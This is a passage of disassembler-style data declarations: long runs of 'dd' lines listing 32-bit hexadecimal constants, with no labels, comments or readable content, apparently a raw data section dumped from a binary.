		dd 71F07908h, 89AF0F84h, 34228CD4h, 0E3E35465h,	87EB50EBh
		dd 25FF16F8h, 0C0F84400h, 1C401099h, 478E003Ch,	91342338h
		dd 2C00C830h, 247228E4h, 0E21C2039h, 18412D8Eh,	3F30D4h
		dd 0A4C4B4A6h, 3E6D29DDh, 5002814h, 94E8F35Ah, 0B5F2BF4Fh
		dd 8404D000h, 0B05F76D2h, 0C9440081h, 5DA1708Ah, 8000FC01h
		dd 2EFF0B7Ch, 0FED175h,	7D3944BDh, 4C740482h, 9B3FEB00h
		dd 7B8AF19h, 0D0C10080h, 40B2E937h, 13009839h, 29D8B60Fh
		dd 3BF7750Ah, 5C0AE0BFh, 1E964E35h, 0CB02C121h,	0E8A5E983h
		dd 410072FBh, 880F7F0Ch, 2402C4Ch, 75CAFE0Dh, 0AFC0DAA3h
		dd 0B10023F9h, 6E22DDABh, 0B540F6h, 51E29456h, 2DC5BE53h
		dd 69DE0F2Eh, 0E72CC400h, 0F8D2B8CCh, 0BE190175h, 0C7D9BA29h
		dd 8205D4ADh, 4A10700h,	182B376Ch, 1688006Bh, 22F35EDEh
		dd 531C4FD7h, 0EDD2C220h, 7998B900h, 28FF6B26h,	0BC2CA6h
		dd 0C7031E14h, 0A406D950h, 7E0CBF1Dh, 0D82B0D47h, 4AC0F8D7h
		dd 422ABE3h, 2C71C582h,	0E4888032h, 8900141Fh, 2E051043h
		dd 1060Ch, 667F6854h, 3D53004h,	0DF6EC800h, 0C6097D60h
		dd 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh, 0F61DC6FBh
		dd 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh, 96700AD8h
		dd 0E7AE3507h, 4FE05A14h, 3E2016ACh, 180A9FBh, 0A897E8ECh
		dd 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h, 0C8ACF047h
		dd 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh, 0FEEC71Dh
		dd 2E35A6A0h, 0BC00C9BFh, 81100540h, 41878h, 7554D7B1h
		dd 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h,	0B204D085h
		dd 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h, 1EF2E074h
		dd 0CCE1A300h, 80ED6A29h, 4B021E2Eh, 0D8AA4016h, 0E2B7428Eh
		dd 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h, 0EE8AC8E0h
		dd 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h, 0C3A00A2Fh
		dd 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h, 3C995C31h
		dd 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh, 0B963398Dh
		dd 4AB68000h, 18201514h, 7AA20C01h, 4352DF90h, 973477E5h
		dd 9CE47Dh, 0E8C28B30h,	0A73D322Ah, 16032500h, 59396491h
		dd 0B66E390Ch, 0FE701080h, 131ED48h, 87E86700h,	46BA44Dh
		dd 88E422h, 0A8903419h,	80282429h, 0E0103D02h, 0C0135074h
		dd 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh, 0C139E034h
		dd 2E4E9980h, 92D0006Fh, 40A5C779h, 0D400CF7Fh,	64882238h
		dd 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h, 3F2C8F16h
		dd 1CF5CD4h, 5ABB4A3Ch,	307B71ABh, 8000019Ch, 742DFC78h
		dd 0B8D71Eh, 135DB2A4h,	0DE2F0451h, 4F5A8000h, 0E16A88C6h
		dd 34E252h, 6789D877h, 0E5D7B8A7h, 6500C275h, 2EE19608h
		dd 1E58595Bh, 0BA64354Bh, 825AB501h, 0F4D0D727h, 0F000ADE9h
		dd 0EB3F19A8h, 8AE705h,	0BC84A663h, 5C766AE1h, 0E810C004h
		dd 0FAC04607h, 12D11Bh,	47653D1Dh, 0E688554h, 8ECE3EFAh
		dd 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h, 4F0B2A51h
		dd 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h, 3C7A9882h
		dd 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h, 64FDBBBAh
		dd 0DF61EB7Fh, 0FE2FF4h, 0B2799554h, 0A7D3A45Ah, 0A35B9800h
		dd 6E200775h, 47741C6Fh, 7B80BC66h, 144450D1h, 45004840h
		dd 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h, 0B498C4A0h
		dd 3B498700h, 92F0D5AFh, 29F700FBh, 0EFE388C5h,	0FC00A23Ch
		dd 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h, 4967C807h
		dd 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh, 62002C03h
		dd 0A75D253h, 0A54494h,	0E38F8BDDh, 49F3C755h, 3CF8F970h
		dd 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h, 0E233545Bh
		dd 8D49D2h, 22F7EE4Dh, 0D5E42878h, 694EF900h, 0F17F7B32h
		dd 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh, 5246204Ch
		dd 1C3AF04Fh, 40885BEDh, 0B047DE9Ah, 1509A1E2h,	14008E4h
		dd 205450DEh, 5E4FE0h, 1CCCA3Ah, 0DD0814E8h, 0D85D8900h
		dd 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh, 0D7D1E500h
		dd 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh, 0AB00E5B4h
		dd 3B63F059h, 3EC3064h,	0C429C314h, 77BB4418h, 0F622CAF0h
		dd 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h, 25B0C1ECh
		dd 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh, 3B42406Eh
		dd 0A701DC03h, 0D857CBF3h, 0B441C14h, 0D8A65441h, 4612F880h
		dd 6D07C861h, 205C8725h, 0F4FBFFE0h, 88090028h,	7F977553h
		dd 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h, 32B3C9E5h
		dd 0F3781600h, 616CC82Fh, 6E3E0069h, 68631D3Bh,	1F0072D6h
		dd 493DC024h, 2D4F53h, 7535E238h, 4C315639h, 0E21293Dh
		dd 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h, 62382C8Ah
		dd 0F627561Eh, 53F45881h, 97E47D91h, 70830F7Eh,	8525E6C8h
		dd 5FE983C9h, 0B725D5B8h, 1092D400h, 0EC4F6A7Fh, 0D32300B4h
		dd 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h,	4CE7A3B8h
		dd 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h, 3A413CE7h
		dd 881400F3h, 0A484C06Ch, 103F2A8Bh, 8A88F40h, 3839A042h
		dd 701AAF0h, 4A4784Ch, 0F61560AFh, 501C820h, 30C16590h
		dd 0AF81910h, 0F36FE29h, 0CA08C060h, 2D81CC69h,	0F42B2C05h
		dd 957D5A64h, 4D282703h, 0B81DD9E2h, 0E46EC161h, 0A560073h
		dd 70DDB898h, 663F5269h, 804036Ch, 0A04650A1h, 0EC37Ch
		dd 0B6D7EBE8h, 8D8157B4h, 320780E2h, 1C54B09Ch,	1E0E405Eh
		dd 0F194E9F5h, 154FD0FBh, 73E3B06Bh, 483C019Ah,	743E7F6h
		dd 670C86Fh, 44ED7900h,	5D977854h, 3484000Ah, 5817DAF9h
		dd 0D40AF791h, 0E57538A0h, 0A26D2A00h, 717464h,	8D704C52h
		dd 453CAE72h, 39403Ch, 0D05F5089h, 5BBD94h, 75488555h
		dd 7D8AF9F6h, 742FE73Fh, 0FEFFF800h, 173EF82h, 2E90B63h
		dd 0F38065D9h, 888B1BA0h, 956F7400h, 28692C91h,	0DF034C5Ah
		dd 0D91FE905h, 92038099h, 2000686Ah, 0FD858D55h, 0B8BE81DFh
		dd 0D8F60B3Ah, 8500A101h, 492F8A7Eh, 57281707h,	1DC095ECh
		dd 750A5B9h, 16294A7Bh,	5FB43025h, 0AB0090EAh, 0C449C60Eh
		dd 1AD93680h, 404C6728h, 8DE959E0h, 8E73297Bh, 592D3Bh
		dd 0FB3AE571h, 4E182Ah
		dd 0C9825CA6h, 0F51A8D89h, 0F0FC8700h, 5768BDA2h, 9F7A3C96h
		dd 0F8423180h, 49BF14EAh, 1DEB1903h, 0C388C892h, 0FB83AB90h
		dd 57ED00Ch, 61300FB8h,	0E7E0558Dh, 0AF918696h,	0C32D321Dh
		dd 82C8C0CAh, 60C4A00h,	26D858Ah, 25ECB5BBh, 18E01844h
		dd 6E00EB2Ch, 0A7D04936h, 1D28E6h, 1AC83C42h, 0CB24C90h
		dd 2958241Eh, 399E82C0h, 76481730h, 2E2D0064h, 0EB50B11Ch
		dd 8E00BBD6h, 0BD800A65h, 0B88269h, 203FFA6Ch, 0BADAF8Bh
		dd 4B214E01h, 0E15E0CB3h, 0E73ECh, 804F3332h, 6B447629h
		dd 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h, 0B0200B5h, 5EEB8C68h
		dd 4500DA0Fh, 0EAFF8995h, 78E9AF74h, 55A7011Dh,	598AC47h
		dd 5C06607Dh, 4B00DAF2h, 2C3E20CEh, 1D921CD2h, 0C0D5C9E9h
		dd 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h, 689D3B00h, 0A879AF2Fh
		dd 1CC9043h, 0CB8588Ah,	0E4E54020h, 0C17CA7C8h,	0AF7A4807h
		dd 0E9C0D90Fh, 1F64F5A4h, 6629EEh, 8F100E8Ah, 500A5ECh
		dd 3101B9EDh, 3EA263D5h, 0D803C6Dh, 0B4E14CDAh,	61003FECh
		dd 0AFBC683Eh, 40DB14h,	9E97E805h, 0F77BF6FDh, 0ECCC1112h
		dd 14F45A00h, 0F816A037h, 0D8450084h, 9F89AB25h, 0D97906BAh
		dd 0B8EE6902h, 43F28D4Bh, 0B794E063h, 10520220h, 0F3D76D7Bh
		dd 770E8960h, 9DD96900h, 0ECE4AF02h, 24F57945h,	4A9216h
		dd 6ABE5A7Ch, 2C704ED1h, 4F880E00h, 5122036Eh, 72710066h
		dd 5660A06Dh, 64002567h, 21F8966Ch, 79C9534Fh, 8A936734h
		dd 458EDE1Eh, 25AFB4A0h, 0F700ABD4h, 0EDCF16D5h, 784AEA7h
		dd 31EFBB83h, 0B09E6039h, 0BA00280Dh, 69B1EDE4h, 50FC60h
		dd 1DA2838Bh, 0C64507FDh, 9012DD00h, 0BCC8B01Ah, 21C01E11h
		dd 22C44FACh, 0CC21F032h, 0A4D04400h, 0D8D44086h, 0CA00189h
		dd 12E081DCh, 0C03E719Ch, 680084E8h, 90B48521h,	3F032ECh
		dd 0D51AC435h, 8BD86CB0h, 0AA3C064Bh, 0D96A9E89h, 0B6AB4580h
		dd 0D6C447h, 0F84E2EEDh, 951B3C8h, 70C47550h, 25290209h
		dd 0CBAD8078h, 0FE32AD61h, 42140063h, 50628864h, 8E676973h
		dd 3F838A10h, 937C9C5h,	8FBC4h,	50C15C6Bh, 0A685EF41h
		dd 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h, 434838CFh
		dd 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h, 0C819F8E9h
		dd 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h,	4E62B8Eh
		dd 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h,	0D427012Fh
		dd 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h, 1AEC57Ch
		dd 753AAC68h, 0CCA16D48h, 81003CEFh, 266AFBD7h,	0A09C4Ch
		dd 420D312Dh, 2409940Ah, 13C4400h, 6B40716Dh, 3FC50060h
		dd 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h, 9102022Eh
		dd 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h, 8F010h
		dd 8C022249h, 53140446h, 38838001h, 2F26D49Eh, 206A30h
		dd 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h, 0F8D1EAD3h
		dd 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h, 424611ACh
		dd 8771EC0Eh, 20A18E10h, 0E6F5DE14h, 0B394001Ah, 82E8950Fh
		dd 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh, 0B416E421h
		dd 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h, 84DE3388h
		dd 0BAE3C0A2h, 77006355h, 790A9CABh, 1700BF0h, 1B22F34Bh
		dd 0E7EA1415h, 57C0CBC3h, 8500E118h, 0C1A5AEDCh, 3014C210h
		dd 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h, 18E7AE05h
		dd 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h, 1CA4D822h
		dd 95032991h, 0B81A118Bh, 1873884Ch, 0D485020Ah, 0C9A2437h
		dd 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh, 0AC903C29h
		dd 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h, 7C87A684h
		dd 0C4548906h, 1AC812h,	91CC214Ch, 28BF48D0h, 0B6D9500h
		dd 5B9038Bh, 2B363D96h,	2CDFD400h, 3CD7AD8Eh, 8D711718h
		dd 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h, 8370147h
		dd 218E428Fh, 0C6E5E8h,	7DB15EBDh, 4A8513F2h, 0D70669FCh
		dd 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh,	39717064h
		dd 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h, 779A4166h
		dd 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh, 7F888E00h
		dd 0A614FAFDh, 784A0B10h, 0A804C8Fh, 6D0B735Fh,	93054FF2h
		dd 22EC8488h, 0F454B7C0h, 79F07906h, 0FCB76B0h,	4E7930F8h
		dd 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h,	27E853BFh
		dd 7C26B549h, 800D0F3Bh, 0CE57036Ah, 7FF64CDh, 93536F30h
		dd 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h, 0A801B874h
		dd 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h, 0AA0D8Eh
		dd 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh, 8838002Ah
		dd 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h, 948DE406h
		dd 3E179500h, 5A57CDB9h, 0CFC50312h, 0F455116Ah, 3D2A4590h
		dd 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h, 0D02DC8A4h
		dd 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h, 70714130h
		dd 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h, 0B202D3D8h
		dd 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h, 0D20F3510h
		dd 7C1F909Fh, 69C7B78Ch, 1CF093C2h, 0B8F403h, 226ECE8h
		dd 352504A1h, 52BCE00h,	0D5D3A79Ch, 0F7BE0011h,	0E5971042h
		dd 8203A54Ah, 480EF6C1h, 99D5C019h, 94E701BEh, 6186662Ah
		dd 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh, 139B5A25h
		dd 5772ACF8h, 0D6E46E00h, 99082788h, 0B24F0324h, 3F8A491Fh
		dd 1C714AE0h, 0EF225Ch,	0EF42BD9Ah, 3B09D2h, 2ABCAC45h
		dd 8F5BEE1h, 0BA38E407h, 0F8774307h, 0CB30B0D3h, 352C883Ah
		dd 362A009Dh, 34283D06h, 74399110h, 677200C0h, 62431D70h
		dd 64C30077h, 0A1286D66h, 5C036568h, 8A976318h,	12F1A80Bh
		dd 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h, 1A786255h
		dd 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h, 0F99A156h
		dd 9BE80435h, 2760A2E0h, 0C5007625h, 0DA49CC1Ah, 7FE04890h
		dd 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah, 280421BFh
		dd 0A8EAF7h, 0C58B0745h, 94CF77F6h, 41DC490Bh, 75B18089h
		dd 63F816h, 64535110h, 77712407h, 700073E6h, 62752676h
		dd 777C691Ch, 0F9900029h, 5C244A15h, 6B7F074Ch,	57006F7Fh
		dd 197BC728h, 0A02A1405h, 955689h, 24848913h, 836AA372h
		dd 0EBF4220Fh, 0BCEFF7h, 4BD79001h, 19200049h, 6BC48B7Eh
		dd 0CC0256BAh, 2566B322h, 64D7867Ah, 49E700E2h,	5614E350h
		dd 0C800B801h, 130FABCAh, 29ACD8h, 0C32DCE3Bh, 276AE45Ch
		dd 21574509h, 9A07D751h, 0A050B72Ah, 0A907ED97h, 0B2112B00h
		dd 0AD2F5FE9h, 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh, 0D9EE9200h
		dd 46163AF4h, 0A319030Ah, 0CFD8254Fh, 458655F8h, 48125B7Ch
		dd 0ED00A60Eh, 401F496Eh, 754A0047h, 13836653h,	200107Dh
		dd 0C16AF90Ch, 7FC317h,	4B8142EBh, 2C0AD520h, 892F1301h
		dd 0D40708F6h, 0FC64C4ECh, 0F748001Fh, 0DCC31645h, 21072EE6h
		dd 0E319920Fh, 31590840h, 31B97A2Bh, 0BFEA3648h, 0D0856009h
		dd 0EEFF2800h, 0ADC705Fh, 15890004h, 64A87B0h, 2D501245h
		dd 68056ED0h, 0EF82CD8h, 403FB687h, 0D102AAD6h,	0BB400293h
		dd 0C855F5E2h, 0BA8560C0h, 75F7CC00h, 48AC955Ah, 4AB90013h
		dd 11F4ADD7h, 803908C4h
		dd 4EEC4EC9h, 9884FB14h, 10146A00h, 398F32FFh, 395BAB2Ch
		dd 77404E1Dh, 0D920E52Ch, 307A45h, 2D83DC05h, 0A10B40C4h
		dd 2B6BE802h, 0E1A32341h, 77F01879h, 0D4E00FC7h, 6CA0F82Ah
		dd 5708E999h, 0E152F903h, 782A8CEh, 50B814A4h, 5F9E40D5h
		dd 64B8CA4Ch, 68F95E0Fh, 332DA083h, 7AB4F001h, 58A7035Ah
		dd 0B82005B5h, 0E02AAAD9h, 0FC7050C4h, 0A5093Bh, 34058EB4h
		dd 24F397ADh, 4F16A4h, 0E80183B8h, 39005E33h, 980A7448h
		dd 161506h, 20135DD1h, 0EFC138EBh, 2FFA2400h, 34CA2EA3h
		dd 4479030Eh, 6454231Bh, 0E26E3988h, 52DC7C00h,	0E4DAEA32h
		dd 33560071h, 0FB35C810h, 4002C94h, 34301C84h, 162238h
		dd 0EFFA8068h, 28E21065h, 3732C400h, 0EA9DE860h, 432E00C0h
		dd 74276E61h, 6C00201Dh, 0A64DA6Fh, 3FC41A77h, 28731E58h
		dd 18B22C3h, 5A9EFC08h,	0EB540584h, 0EC1811E9h,	8D01801Ch
		dd 0F0524F0Ch, 88C05C15h, 83420168h, 0F1750AFAh, 7EC06EBDh
		dd 6C9ED5h, 0FF558817h,	82297F3h, 0EC832500h, 10111C93h
		dd 5C01750Ch, 213B7F6h,	0C34C002Dh, 0A80D03D6h,	18D38400h
		dd 22155F2Fh, 6A6B0320h, 8AA2D55Ch, 0CFA132A3h,	37F2F4AFh
		dd 4700EAB8h, 8524F710h, 1482C7h, 0CB560B23h, 0C47FBE4Eh
		dd 0C07B0300h, 48C39428h, 1B2500C8h, 0B00C5793h, 473B3140h
		dd 224E0053h, 8126A01Ch, 0C3511FBCh, 766DC00Bh,	482F680Ah
		dd 1BDEFC01h, 2041A452h, 8D3BE8h, 0B8E72490h, 89F89F5Eh
		dd 8A0FFC30h, 0AD6D22h,	77C90576h, 833AFBC4h, 9DF00805h
		dd 0B240E8D4h, 1130222Ch, 7C097234h, 9F370744h,	2079D5EAh
		dd 0C5B55DF8h, 0C3647200h, 8870B7AAh, 5A7C36h, 0F89838FBh
		dd 0D9ED63E9h, 670E8900h, 87F8310h, 0EF9200DCh,	0EB755AA9h
		dd 5DFAC244h, 0B2A8DB00h, 0B41B2C34h, 431C0736h, 4F8E7630h
		dd 0E0380979h, 0B4009086h, 3EE8B0Eh, 8482EDh, 535718EFh
		dd 2019320Bh, 0FCA41400h, 0CDDE752Ah, 5E40ED4h,	2C201021h
		dd 34443088h, 0EB382000h, 0DA7E9732h, 84F000C4h, 0B4A2EF46h
		dd 0AA00073Dh, 0B7B63FC2h, 482A4Dh, 31918757h, 0C39ADFA5h
		dd 770DA900h, 49C2C6E9h, 0FC2E000Ch, 1CC7B2C9h,	0D89D0EF7h
		dd 5CE8078Fh, 0F037B1B5h, 7A9D5443h, 0A1978200h, 0E4BB8335h
		dd 72321D2Fh, 7BA6009Fh, 95431518h, 3A24223Ah, 1F2C3C8Bh
		dd 7E404981h, 4C09A9ABh, 40FC8Dh, 1FF752F5h, 0B46B76FFh
		dd 7B81100h, 7A31BC4Bh,	836C0014h, 0FF09B068h, 0E0003D5h
		dd 0E0987ED6h, 0EA508D63h, 12723892h, 2B2C6B00h, 7DB68E8h
		dd 0D55B3B00h, 6C0251ACh, 0D4055810h, 0F825E003h, 33D82A78h
		dd 5E019722h, 7707C4E7h, 0E430EDD0h, 13AD002Ch,	0B3034F05h
		dd 0D678A226h, 59957700h, 50408ABBh, 9DAC00C7h,	0C42C9B5Dh
		dd 4400E6EBh, 0AA4F453Dh, 1CB0DE92h, 801F645Fh,	8E00CB4h
		dd 0DC1F16B8h, 26002C2Ah, 69A6FAFCh, 68A0032h, 0EEF17D50h
		dd 5A00EB99h, 20D803BCh, 40C00Ch, 5DFEC4D4h, 1DF8C85Bh
		dd 639D7C00h, 62046942h, 16FA009Bh, 3640C611h, 0B1002266h
		dd 63144D67h, 38BC5F68h, 1A808D3Ch, 0A3F3AC3Eh,	60E62FBh
		dd 8029BB36h, 0F4531B6Ah, 43141D10h, 0ED5CE3Ah,	13FCBE0h
		dd 0F0037D89h, 0CDAA0FB0h, 42AB9085h, 4EC0128h,	17BF39EBh
		dd 0E488E052h, 63844407h, 0B2E0AAE0h, 0F379A27h, 537F5FBAh
		dd 0F081A947h, 8BF3C3B0h, 89E4F007h, 9050F6F8h,	0E6720A78h
		dd 41020048h, 646D69A9h, 0BD0033EEh, 0ADDCB368h, 22EA54h
		dd 0FC44D815h, 7198A5D4h, 0A18F000h, 5EBD7943h,	0D0C80122h
		dd 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h, 9B177293h, 0FB5F0024h
		dd 3B052BA3h, 730E0C58h, 250181EFh, 7A871942h, 9CC0B544h
		dd 2F3031C7h, 0C37ED92Bh, 3858BF00h, 0E636A6h, 0FDBEBA70h
		dd 69ABD42Fh, 78D80D00h, 4F71CCE8h, 0BC8D2CEAh,	8BF00032h
		dd 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh, 21E82AE0h, 9D430712h
		dd 90C2C788h, 18E7E4AAh, 1C750500h, 45724019h, 0BEBC0117h
		dd 0C9744792h, 8E89305Eh, 1405CC2Ch, 1345F500h,	0EC6A6093h
		dd 0F762018Ch, 25F25886h, 0B9830B9h, 4F071EEAh,	0AEE83EFFh
		dd 9E369CA0h, 0EC200E4Dh, 5EE02384h, 75AD19A9h,	1741090Fh
		dd 70038557h, 29DACC0h,	76DC00E8h, 8199101Ah, 0C01DFDF3h
		dd 8B005B07h, 0D619917Fh, 94090022h, 0E76AA888h, 2901A263h
		dd 0F5A75DF3h, 4AC41D8Dh, 68530081h, 0AD6F8A4h,	94287506h
		dd 0CD00E954h, 0F210B329h, 22CD5A7h, 34970D31h,	740F649h
		dd 9B3CCEBCh, 20A28094h, 0E17D41Eh, 388700C5h, 3B56422Eh
		dd 0D60028C8h, 1BD29990h, 9876572Dh, 4B100059h,	0A5583553h
		dd 0E3000B44h, 523B2C3Dh, 179382Ah, 0F469BD16h,	0E45E1739h
		dd 8000BA0Bh, 5261C91Fh, 0EA6FF72h, 3D7B2416h, 65AB7160h
		dd 6660233Eh, 0C12BC6E8h, 0C3FCE4h, 1653F2D4h, 2F7D044Ch
		dd 8010973Eh, 30A47CBAh, 1BD395Fh, 0F886B774h, 0EC66F7B2h
		dd 24003E96h, 135EEC21h, 16878Ah, 0FA23D52Fh, 36E8A952h
		dd 58787D90h, 0F2549B00h, 84A30277h, 0B96D001Fh, 0AE37FB79h
		dd 3B012711h, 2887A2ECh, 4DF0465Eh, 5DAD00B9h, 0B114CE5Ch
		dd 9D0065A1h, 429AC8Eh,	6A13DAh, 0A662E756h, 0A4D7471Fh
		dd 5FDF2Dh, 0A062C7Bh, 15E8EDCBh, 0C6386084h, 0C6647DE0h
		dd 912871Fh, 0B6EBCD07h, 0FFCFFBF0h, 243C00F9h,	2E7FDA91h
		dd 4D5CD293h, 3F070089h, 0B88B08D5h, 77A41DDFh,	48A680ABh
		dd 0D011AFA3h, 26B9071Fh, 8458BB40h, 3768EB5h, 0FF6B8FE5h
		dd 17A0C321h, 743AE247h, 78A40009h, 405BC083h, 597AF3h
		dd 558AC203h, 74B81820h, 28754Ch, 641C9C08h, 15D8B97h
		dd 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h, 0BA5C1347h
		dd 32DD3A0Ah, 88730D83h, 8A80ED33h, 8DFE2F44h, 340571Ch
		dd 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh,	68D5200Bh
		dd 0D0978Eh, 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h,	0BE41FC55h
		dd 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh, 2D974489h
		dd 0CB3D6Ch, 696A2188h,	0F1FA1612h, 1F4AC800h, 3A7FF95Bh
		dd 97150089h, 748F2E70h, 3006860h, 0ED754DF0h, 4A9142h
		dd 0FD2F1AF9h, 627D7E9Bh, 420358h, 46204788h, 89B617h
		dd 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h,	0A5E947EDh
		dd 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h,	1CC020FCh
		dd 887A1D94h, 84F40F4Fh, 2FCF2BF5h, 0BD857642h,	0F642AA80h
		dd 8A3E957Ah, 0BB3C3Eh,	0D321A2DEh, 0F67D3DF7h,	0EF540077h
		dd 9DAF8AFAh, 2976C24Ah, 671C1100h, 0A5BA582Ch,	68500762h
		dd 37D7E344h, 132250BBh, 890020FDh, 31C8F09Fh, 7730E453h
		dd 9117B28h, 5623F4B7h,	0B2622A8Fh, 0D0E01EF8h,	4C76FCC8h
		dd 1628C700h, 875F8902h, 5B791DA9h, 0D28A40F4h,	3F71A108h
		dd 0F120AC00h, 510C3730h, 89660013h, 82F0EBC1h,	49980901h
		dd 7F59E012h, 0B39DE003h, 3E90F8CFh, 239A0318h,	2879AF8Bh
		dd 104593C0h, 0D127E00Eh, 4203800Eh, 33F7024h, 254FF066h
		dd 138896D5h, 1C004522h, 270520A8h, 0FF1455h, 0D55A56A4h
		dd 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h, 625D5C39h, 0EDCD600h
		dd 0D0033C50h, 83C2EC3Bh, 9055FE78h, 7C408825h,	0F2EE0044h
		dd 10C36003h, 4100D5E8h, 7B78F6EAh, 77FB0220h, 0F8E90033h
		dd 7D9A5FCh, 6EC01609h
		dd 71E8F1E0h, 23E0E23h,	0F826112Fh, 0B900EE21h,	60751735h
		dd 5CCEEB8h, 9E80E56h, 4D9880D7h, 0EB00A67Ah, 0F0752283h
		dd 0C3312Bh, 3BD3A0D0h,	327736F2h, 0E7B82000h, 875C48Fh
		dd 0E30E00EFh, 122373D1h, 53005079h, 3C4F22AEh,	2A90D4h
		dd 2941A991h, 0D15110A5h, 4A384700h, 5C2B590Dh,	9511000Ah
		dd 2ABEE845h, 0C000715h, 4C78346h, 7053AF1h, 820F1A6Dh
		dd 707A4051h, 0BC3C6FD7h, 5200791Ch, 0EF143065h, 0E4D0D40h
		dd 0E3DB3110h, 0D0F71E02h, 85D275h, 0D8FA18F2h,	5408B324h
		dd 1E1718E1h, 40CBFEDBh, 0EAE6E297h, 5F001EA4h,	72F8D4B5h
		dd 0C4597Fh, 0C026FAB2h, 0E108B8BBh, 48743B00h,	0C6DE3780h
		dd 85CA5803h, 7AA74C72h, 2BCD0379h, 10EB1ABBh, 6A0683F5h
		dd 0D73529B0h, 5CA5E200h, 14F47970h, 2462F6EEh,	0B59428h
		dd 97D103B9h, 4000806Fh, 0FA4AEBC7h, 1AC05Dh, 77C33BD9h
		dd 0F23F9220h, 0ECF3CF00h, 0F7901773h, 2BD3011Dh, 105D65D0h
		dd 8BBD20B4h, 3A61EB4Ch, 201E00C2h, 521572C3h, 537A3E48h
		dd 2157F807h, 0EF64F0E2h, 0A000EEEh, 0B075C985h, 390561Eh
		dd 0D8DBB5F3h, 0A788DECBh, 8E12225Dh, 0B1F4210h, 9184F740h
		dd 80EA82h, 0FF88325h, 48202CB8h, 0F0950200h, 0E6433C9h
		dd 50A75C3Eh, 0D600394Ch, 407E0CE9h, 114CFF02h,	80F0756h
		dd 91F6482Eh, 3737566h,	0E888BA8Ch, 0F3E8DFA3h,	44C136AFh
		dd 27D49A6Fh, 460BFCh, 56AB2C8Dh, 0B6E9434Ah, 23028301h
		dd 80C3692Dh, 1932C280h, 0BC2042C7h, 0E19D2C01h, 294A8D4Fh
		dd 208057DAh, 94A958F4h, 0B006DC3Ah, 2E5C34E9h,	8776032Fh
		dd 714A0CAh, 21C7ACB8h,	0F048BA76h, 0A3A51E5Ch,	172061C0h
		dd 0FF64845Ah, 5E85F8h,	0BBB3274Ah, 2E4BEC59h, 0C4102307h
		dd 9A102B74h, 344975h, 143A7E39h, 27C3950Fh, 9421AF00h
